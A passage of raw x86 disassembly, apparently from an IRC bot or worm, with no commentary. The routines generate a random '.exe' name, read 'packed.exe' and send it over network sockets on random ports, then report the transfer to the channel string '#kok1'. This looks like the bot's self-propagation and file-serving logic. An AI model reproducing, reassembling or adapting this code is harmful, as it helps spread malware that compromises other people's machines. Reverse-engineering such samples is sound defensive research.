		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_10]
		mov	[ecx], ax


loc_4125CC:				; CODE XREF: sub_4124A0+114j
		cmp	[ebp+var_8], 0
		jz	short loc_4125DA
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_14]
		mov	[eax], ecx


loc_4125DA:				; CODE XREF: sub_4124A0+130j
		mov	eax, [ebp+var_C]

locret_4125DD:				; CODE XREF: sub_4124A0+27j
					; sub_4124A0+7Dj ...
		leave
		retn
sub_4124A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4125DF	proc near		; CODE XREF: cAddress:004106D4p
					; cAddress:00410B93p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		cmp	[ebp+arg_4], 1Ch
		jnb	short loc_4125F2
		xor	eax, eax
		jmp	locret_41271E
; ---------------------------------------------------------------------------


loc_4125F2:				; CODE XREF: sub_4125DF+Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		mov	[ebp+var_4], eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1E4h
		push	[ebp+var_4]
		call	sub_4124A0
		add	esp, 18h
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_41262D
		xor	eax, eax
		jmp	locret_41271E
; ---------------------------------------------------------------------------


loc_41262D:				; CODE XREF: sub_4125DF+45j
		push	1Ch
		push	offset dword_41C7C8
		push	[ebp+var_10]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, dword_41CB98
		mov	[ebp+var_8], eax
		jmp	short loc_412659
; ---------------------------------------------------------------------------


loc_412649:				; CODE XREF: sub_4125DF+94j
					; sub_4125DF:loc_41269Aj
		call	sub_410422
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	dword_41CB98, eax


loc_412659:				; CODE XREF: sub_4125DF+68j
		push	0
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jz	short loc_412675
		jmp	short loc_412649
; ---------------------------------------------------------------------------


loc_412675:				; CODE XREF: sub_4125DF+92j
		mov	eax, [ebp+var_14]
		xor	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		push	0
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	4
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41269A
		jmp	short loc_41269C
; ---------------------------------------------------------------------------


loc_41269A:				; CODE XREF: sub_4125DF+B7j
		jmp	short loc_412649
; ---------------------------------------------------------------------------


loc_41269C:				; CODE XREF: sub_4125DF+B9j
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		mov	[eax+3], ecx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_1C]
		mov	[eax+9], ecx
		mov	al, byte_41CB95
		mov	byte ptr [ebp+var_C], al
		jmp	short loc_4126C8
; ---------------------------------------------------------------------------


loc_4126B8:				; CODE XREF: sub_4125DF+104j
		call	sub_410461
		mov	byte ptr [ebp+var_C], al
		mov	al, byte ptr [ebp+var_C]
		mov	byte_41CB95, al


loc_4126C8:				; CODE XREF: sub_4125DF+D7j
		push	[ebp+var_C]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_14]
		push	[ebp+var_4]
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jz	short loc_4126E5
		jmp	short loc_4126B8
; ---------------------------------------------------------------------------


loc_4126E5:				; CODE XREF: sub_4125DF+102j
		mov	eax, [ebp+var_10]
		mov	cl, byte ptr [ebp+var_C]
		mov	[eax+12h], cl
		and	[ebp+var_18], 0
		jmp	short loc_4126FB
; ---------------------------------------------------------------------------


loc_4126F4:				; CODE XREF: sub_4125DF+137j
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax


loc_4126FB:				; CODE XREF: sub_4125DF+113j
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_14]
		jnb	short loc_412718
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_18]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_C]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_18]
		mov	[ecx], al
		jmp	short loc_4126F4
; ---------------------------------------------------------------------------


loc_412718:				; CODE XREF: sub_4125DF+122j
		mov	eax, [ebp+var_14]
		add	eax, 1Ch

locret_41271E:				; CODE XREF: sub_4125DF+Ej
					; sub_4125DF+49j
		leave
		retn
sub_4125DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412720	proc near		; CODE XREF: sub_412A3A+Cp
					; sub_412BC9+DFp ...

var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_E4		= byte ptr -0E4h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 194h
		push	8
		push	4
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_194], eax
		and	[ebp+var_190], 0


loc_412741:				; CODE XREF: sub_412720:loc_41278Aj
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_190]
		mov	[ebp+ecx+var_10], al
		mov	eax, [ebp+var_190]
		inc	eax
		mov	[ebp+var_190], eax
		mov	eax, [ebp+var_190]
		cmp	eax, [ebp+var_194]
		jnz	short loc_41278A
		push	offset a_exe	; ".exe"
		mov	eax, [ebp+var_190]
		lea	eax, [ebp+eax+var_10]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_41278C
; ---------------------------------------------------------------------------


loc_41278A:				; CODE XREF: sub_412720+4Fj
		jmp	short loc_412741
; ---------------------------------------------------------------------------


loc_41278C:				; CODE XREF: sub_412720+68j
		push	17Ch
		push	offset dword_41CA18
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	17Ch
		lea	eax, [ebp+var_18C]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_412720	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4127D0	proc near		; CODE XREF: sub_412A3A+14Dp
					; sub_412BC9+133p ...

var_24C		= byte ptr -24Ch
var_22C		= byte ptr -22Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		cmp	dword_41EAEC, 0
		jnz	loc_4128A0
		mov	dword_41EAEC, 1
		and	[ebp+var_20C], 0
		jmp	short loc_412806
; ---------------------------------------------------------------------------


loc_4127F9:				; CODE XREF: sub_4127D0:loc_41289Bj
		mov	eax, [ebp+var_20C]
		inc	eax
		mov	[ebp+var_20C], eax


loc_412806:				; CODE XREF: sub_4127D0+27j
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		cmp	off_41DA40[eax], 0
		jz	loc_4128A0
		push	20h
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		push	off_41DA40[eax]
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	20h
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		push	off_41CBA0[eax]
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_24C]
		push	eax
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41289B
		mov	dword_41EAF0, 1
		jmp	short loc_4128A0
; ---------------------------------------------------------------------------


loc_41289B:				; CODE XREF: sub_4127D0+BDj
		jmp	loc_4127F9
; ---------------------------------------------------------------------------


loc_4128A0:				; CODE XREF: sub_4127D0+10j
					; sub_4127D0+46j ...
		cmp	dword_41EAF0, 0
		jz	short loc_4128AE
		push	1
		pop	eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------


loc_4128AE:				; CODE XREF: sub_4127D0+D7j
		push	offset aRb	; "rb"
		push	offset aPacked_exe_0 ; "packed.exe"
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4128CC
		xor	eax, eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------


loc_4128CC:				; CODE XREF: sub_4127D0+F6j
		and	[ebp+var_4], 0


loc_4128D0:				; CODE XREF: sub_4127D0+145j
		push	[ebp+var_8]
		push	200h
		push	1
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412900
		push	[ebp+var_8]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------


loc_412900:				; CODE XREF: sub_4127D0+120j
		push	[ebp+var_4]
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	short loc_4128D0
; ---------------------------------------------------------------------------

locret_412917:				; CODE XREF: sub_4127D0+DCj
					; sub_4127D0+FAj ...
		leave
		retn
sub_4127D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412919	proc near		; CODE XREF: sub_412BC9+E8p
					; cAddress:00412D6Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412938
		xor	eax, eax
		jmp	short locret_41294C
; ---------------------------------------------------------------------------


loc_412938:				; CODE XREF: sub_412919+19j
		push	0
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	dword_417248	; recv
		mov	eax, [ebp+var_4]

locret_41294C:				; CODE XREF: sub_412919+1Dj
		leave
		retn
sub_412919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41294E	proc near		; CODE XREF: sub_412BC9+115p
					; cAddress:00412D91p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_412964
; ---------------------------------------------------------------------------


loc_41295D:				; CODE XREF: sub_41294E:loc_4129C3j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_412964:				; CODE XREF: sub_41294E+Dj
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		cmp	off_41CCD6[eax], 0
		jz	short loc_4129C5
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		mov	eax, dword_41CCCE[eax]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4129C3
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		add	eax, offset byte_41CCA8
		mov	[ebp+var_4], eax
		push	3Ah
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		add	eax, offset byte_41CCA8
		push	eax
		push	[ebp+arg_4]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 13h
		push	eax
		call	sub_4105FB
		pop	ecx
		jmp	short loc_4129C5
; ---------------------------------------------------------------------------


loc_4129C3:				; CODE XREF: sub_41294E+34j
		jmp	short loc_41295D
; ---------------------------------------------------------------------------


loc_4129C5:				; CODE XREF: sub_41294E+23j
					; sub_41294E+73j
		mov	eax, [ebp+var_4]
		leave
		retn
sub_41294E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4129CA	proc near		; CODE XREF: sub_412A3A+16Bp
					; sub_412BC9+15Ap ...

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	1
		mov	eax, [ebp+arg_0]
		add	eax, 2Ah
		push	eax
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_104], eax
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_8]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412A11
		push	offset aUnknown_0 ; "unknown"
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_412A11:				; CODE XREF: sub_4129CA+32j
		lea	eax, [ebp+var_100]
		push	eax
		mov	eax, [ebp+var_104]
		inc	eax
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	offset dword_41A1D0
		push	offset aKok1	; "#kok1"
		call	sub_40D4AB
		add	esp, 18h
		leave
		retn
sub_4129CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A3A	proc near		; CODE XREF: cAddress:00413466p

var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= byte ptr -248h
var_235		= byte ptr -235h
var_222		= dword	ptr -222h
var_20C		= dword	ptr -20Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 250h
		push	[ebp+arg_4]
		call	sub_412720
		pop	ecx
		push	3Ah
		push	[ebp+arg_0]
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_235]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_20C+3]
		mov	[ebp+var_8], eax
		push	203h
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		and	[ebp+var_4], 0
		jmp	short loc_412AA6
; ---------------------------------------------------------------------------


loc_412A9F:				; CODE XREF: sub_412A3A+8Aj
					; sub_412A3A:loc_412B7Fj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_412AA6:				; CODE XREF: sub_412A3A+63j
		cmp	[ebp+var_4], 3Ch
		jnz	short loc_412AB1
		jmp	locret_412BC7
; ---------------------------------------------------------------------------


loc_412AB1:				; CODE XREF: sub_412A3A+70j
		push	3E8h
		push	[ebp+arg_4]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412AC6
		jmp	short loc_412A9F
; ---------------------------------------------------------------------------


loc_412AC6:				; CODE XREF: sub_412A3A+88j
		push	200h
		push	[ebp+var_8]
		push	[ebp+arg_4]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_24C], eax
		cmp	[ebp+var_24C], 0FFFFFFFFh
		jnz	short loc_412AED
		jmp	locret_412BC7
; ---------------------------------------------------------------------------


loc_412AED:				; CODE XREF: sub_412A3A+ACj
		cmp	[ebp+var_24C], 0
		jz	short loc_412B69
		and	[ebp+var_250], 0
		jmp	short loc_412B0C
; ---------------------------------------------------------------------------


loc_412AFF:				; CODE XREF: sub_412A3A:loc_412B34j
		mov	eax, [ebp+var_250]
		inc	eax
		mov	[ebp+var_250], eax


loc_412B0C:				; CODE XREF: sub_412A3A+C3j
		mov	eax, [ebp+var_250]
		cmp	eax, [ebp+var_24C]
		jnb	short loc_412B36
		mov	eax, [ebp+var_250]
		mov	eax, [ebp+eax+var_20C]
		cmp	eax, [ebp+var_222]
		jnz	short loc_412B34
		jmp	loc_412BC5
; ---------------------------------------------------------------------------


loc_412B34:				; CODE XREF: sub_412A3A+F3j
		jmp	short loc_412AFF
; ---------------------------------------------------------------------------


loc_412B36:				; CODE XREF: sub_412A3A+DEj
		push	3
		mov	eax, [ebp+var_24C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	200h
		push	0
		push	[ebp+var_8]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	short loc_412B7F
; ---------------------------------------------------------------------------


loc_412B69:				; CODE XREF: sub_412A3A+BAj
		push	203h
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_412B7F:				; CODE XREF: sub_412A3A+12Dj
		jmp	loc_412A9F
; ---------------------------------------------------------------------------


loc_412B84:				; CODE XREF: sub_412A3A:loc_412BC5j
		push	[ebp+arg_4]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412B93
		jmp	short locret_412BC7
; ---------------------------------------------------------------------------


loc_412B93:				; CODE XREF: sub_412A3A+155j
		push	offset dword_41CC40
		push	[ebp+arg_4]
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_0]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+arg_4]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		jmp	short locret_412BC7
; ---------------------------------------------------------------------------


loc_412BC5:				; CODE XREF: sub_412A3A+F5j
		jmp	short loc_412B84
; ---------------------------------------------------------------------------

locret_412BC7:				; CODE XREF: sub_412A3A+72j
					; sub_412A3A+AEj ...
		leave
		retn
sub_412A3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412BC9	proc near		; CODE XREF: cAddress:00413483p

var_85C		= dword	ptr -85Ch
var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= byte ptr -84Ch
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 85Ch
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404FE7
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		mov	[ebp+var_854], 3Ch
		and	[ebp+var_850], 0
		and	[ebp+var_810], 0


loc_412BFD:				; CODE XREF: sub_412BC9+A9j
		and	[ebp+var_85C], 0
		jmp	short loc_412C13
; ---------------------------------------------------------------------------


loc_412C06:				; CODE XREF: sub_412BC9:loc_412C35j
		mov	eax, [ebp+var_85C]
		inc	eax
		mov	[ebp+var_85C], eax


loc_412C13:				; CODE XREF: sub_412BC9+3Bj
		mov	eax, [ebp+var_85C]
		cmp	eax, [ebp+var_810]
		jnb	short loc_412C37
		mov	eax, [ebp+var_85C]
		mov	eax, [ebp+eax*4+var_80C]
		cmp	eax, [ebp+var_8]
		jnz	short loc_412C35
		jmp	short loc_412C37
; ---------------------------------------------------------------------------


loc_412C35:				; CODE XREF: sub_412BC9+68j
		jmp	short loc_412C06
; ---------------------------------------------------------------------------


loc_412C37:				; CODE XREF: sub_412BC9+56j
					; sub_412BC9+6Aj
		mov	eax, [ebp+var_85C]
		cmp	eax, [ebp+var_810]
		jnz	short loc_412C6E
		cmp	[ebp+var_810], 200h
		jnb	short loc_412C6E
		mov	eax, [ebp+var_85C]
		mov	ecx, [ebp+var_8]
		mov	[ebp+eax*4+var_80C], ecx
		mov	eax, [ebp+var_810]
		inc	eax
		mov	[ebp+var_810], eax


loc_412C6E:				; CODE XREF: sub_412BC9+7Aj
					; sub_412BC9+86j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_412BFD
		lea	eax, [ebp+var_854]
		push	eax
		push	0
		lea	eax, [ebp+var_810]
		push	eax
		push	0
		push	0
		call	dword_41722C	; select
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 1
		jz	short loc_412CA5
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	locret_412D4A
; ---------------------------------------------------------------------------


loc_412CA5:				; CODE XREF: sub_412BC9+CCj
		push	[ebp+var_8]
		call	sub_412720
		pop	ecx
		push	[ebp+var_8]
		call	sub_412919
		pop	ecx
		mov	[ebp+var_858], eax
		cmp	[ebp+var_858], 0
		jnz	short loc_412CD1
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412CD1:				; CODE XREF: sub_412BC9+FBj
		lea	eax, [ebp+var_84C]
		push	eax
		push	[ebp+var_858]
		call	sub_41294E
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412CF9
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412CF9:				; CODE XREF: sub_412BC9+123j
		push	[ebp+var_8]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412D11
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412D11:				; CODE XREF: sub_412BC9+13Bj
		push	offset dword_41CC44
		push	[ebp+var_8]
		lea	eax, [ebp+var_84C]
		push	eax
		push	[ebp+var_4]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+var_8]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx

locret_412D4A:				; CODE XREF: sub_412BC9+D7j
					; sub_412BC9+106j ...
		leave
		retn
sub_412BC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D4C	proc near		; CODE XREF: cAddress:loc_413420p
		push	ebp
		mov	ebp, esp
		mov	eax, offset dword_41EAF4
		pop	ebp
		retn
sub_412D4C	endp

; ---------------------------------------------------------------------------


loc_412D56:				; DATA XREF: cAddress:00412ECEo
		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	eax, [ebp+8]
		mov	[ebp-8], eax
		push	dword ptr [ebp-8]
		call	sub_412720
		pop	ecx
		push	dword ptr [ebp-8]
		call	sub_412919
		pop	ecx
		mov	[ebp-48h], eax
		cmp	dword ptr [ebp-48h], 0
		jnz	short loc_412D8A
		push	dword ptr [ebp-8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412D8A:				; CODE XREF: cAddress:00412D7Bj
		lea	eax, [ebp-44h]
		push	eax
		push	dword ptr [ebp-48h]
		call	sub_41294E
		pop	ecx
		pop	ecx
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_412DAE
		push	dword ptr [ebp-8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412DAE:				; CODE XREF: cAddress:00412D9Fj
		push	dword ptr [ebp-8]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412DC8
		push	dword ptr [ebp-8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412DC8:				; CODE XREF: cAddress:00412DB9j
		push	offset dword_41CC48
		push	dword ptr [ebp-8]
		lea	eax, [ebp-44h]
		push	eax
		push	dword ptr [ebp-4]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	dword ptr [ebp-8]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		push	dword ptr [ebp-8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax

locret_412E00:				; CODE XREF: cAddress:00412D88j
					; cAddress:00412DACj ...
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_412E04:				; DATA XREF: sub_412F07+B0o
		push	ebp
		mov	ebp, esp
		sub	esp, 1B8h
		push	1ADh
		push	dword ptr [ebp+8]
		lea	eax, [ebp-1B4h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp-1B0h]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_412E59
		push	dword ptr [ebp-1B4h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_412F03
; ---------------------------------------------------------------------------


loc_412E59:				; CODE XREF: cAddress:00412E44j
		lea	eax, [ebp-1B0h]
		push	eax
		mov	eax, [ebp-1B4h]
		push	dword ptr [eax]
		push	offset dword_41CC4C
		lea	eax, [ebp-1AAh]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		lea	eax, [ebp-1B0h]
		push	eax
		push	offset dword_41EAF4
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_412E8F:				; CODE XREF: cAddress:00412EBBj
					; cAddress:loc_412EEAj
		mov	eax, [ebp-1B4h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_412E9D
		jmp	short loc_412EEC
; ---------------------------------------------------------------------------


loc_412E9D:				; CODE XREF: cAddress:00412E99j
		push	3E8h
		push	dword ptr [ebp-4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp-1B8h], eax
		cmp	dword ptr [ebp-1B8h], 0FFFFFFFFh
		jnz	short loc_412EBD
		jmp	short loc_412E8F
; ---------------------------------------------------------------------------


loc_412EBD:				; CODE XREF: cAddress:00412EB9j
		cmp	dword ptr [ebp-1B8h], 0
		jnz	short loc_412EC8
		jmp	short loc_412EEC
; ---------------------------------------------------------------------------


loc_412EC8:				; CODE XREF: cAddress:00412EC4j
		push	dword ptr [ebp-1B8h]
		push	offset loc_412D56
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412EEA
		push	dword ptr [ebp-1B8h]
		call	sub_4053B1
		pop	ecx


loc_412EEA:				; CODE XREF: cAddress:00412EDCj
		jmp	short loc_412E8F
; ---------------------------------------------------------------------------


loc_412EEC:				; CODE XREF: cAddress:00412E9Bj
					; cAddress:00412EC6j
		push	dword ptr [ebp-4]
		call	sub_404CBB
		pop	ecx
		push	dword ptr [ebp-1B4h]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_412F03:				; CODE XREF: cAddress:00412E54j
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412F07	proc near		; CODE XREF: sub_40A9CF+F6Ep
					; cAddress:00413763p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	1ADh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_412F26
		jmp	locret_412FC4
; ---------------------------------------------------------------------------


loc_412F26:				; CODE XREF: sub_412F07+18j
		cmp	[ebp+arg_4], 0
		jz	short loc_412F3A
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_C], eax
		jmp	short loc_412F4E
; ---------------------------------------------------------------------------


loc_412F3A:				; CODE XREF: sub_412F07+23j
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax


loc_412F4E:				; CODE XREF: sub_412F07+31j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_412F63
		cmp	[ebp+var_4], 0FFFFh
		jbe	short loc_412F77


loc_412F63:				; CODE XREF: sub_412F07+51j
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax


loc_412F77:				; CODE XREF: sub_412F07+5Aj
		push	0Ah
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		push	[ebp+var_4]
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		add	eax, 0Ah
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		push	offset dword_41CC84
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_8]
		push	offset loc_412E04
